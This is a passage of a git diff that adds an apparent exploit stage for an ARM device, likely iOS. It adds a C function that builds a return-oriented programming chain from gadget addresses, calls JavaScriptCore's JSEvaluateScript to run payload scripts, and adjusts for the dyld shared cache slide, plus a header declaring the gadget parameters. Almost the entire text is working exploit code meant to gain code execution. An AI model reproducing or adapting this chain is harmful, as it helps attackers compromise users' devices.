PRINT_STILL_HERE(); + MOV_R1(0); + DEREF_IN_R0(base + reserve_addr + 0x40); + + CALL_SLID(JSGlobalContextCreateInGroup); + STR_R0(base + reserve_addr + 0x44); + MOV_R1_R0(); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x44); + + CALL_SLID(JSContextGetGlobalObject); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + MOV_R0(0x108000); + + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + + uint32_t slide = (base) >> 12; + + fprintf(stderr, "%x %x\n", base, stack_base); + fprintf(stderr, "%x\n", get_dyld_shc_slide()); + + MOV_R0(0x422260); + STR_R0(0x422290); +// MOV_R0(0x2022260); +// STR_R0(0x2022290); + // MOV_R0(0x422260); + // STR_R0(0x422290); + + MOV_R0(0x10a000); + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); +/* + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + */ + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + +// DEREF_IN_R0(0x144444); +// MOV_R1_R0(); +// CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// CALL_1ARG(base + printf_addr, 0x109000); + + /* exit */ + CALL_1ARG(base + exit_addr, 69); + + chain_b0i->teh_chain = chain; + chain_b0i->chain_len = chain_len * 4; + + return chain_b0i; +}
\ No newline at end of file diff --git a/src/stage2.h b/src/stage2.h new file mode 100644 index 0000000..0c7b62b --- /dev/null +++ b/src/stage2.h @@ -0,0 +1,40 @@ +#ifndef SHITTY_ROP_H +#define SHITTY_ROP_H + +#include <stdint.h> + +struct rop_chain_shit_t { + uint32_t* teh_chain; + uint32_t chain_len; +}; + +typedef struct rop_chain_shit_t* rop_chain_shit; + +#define GARBAGE 0x6A9BA6E +//#define UNUSED 0xEEEEEEEE +#define UNUSED 0x40000000 | (0x100000 + (__LINE__)) + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t default_domain_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3); + +#endif
\ No newline at end of file |
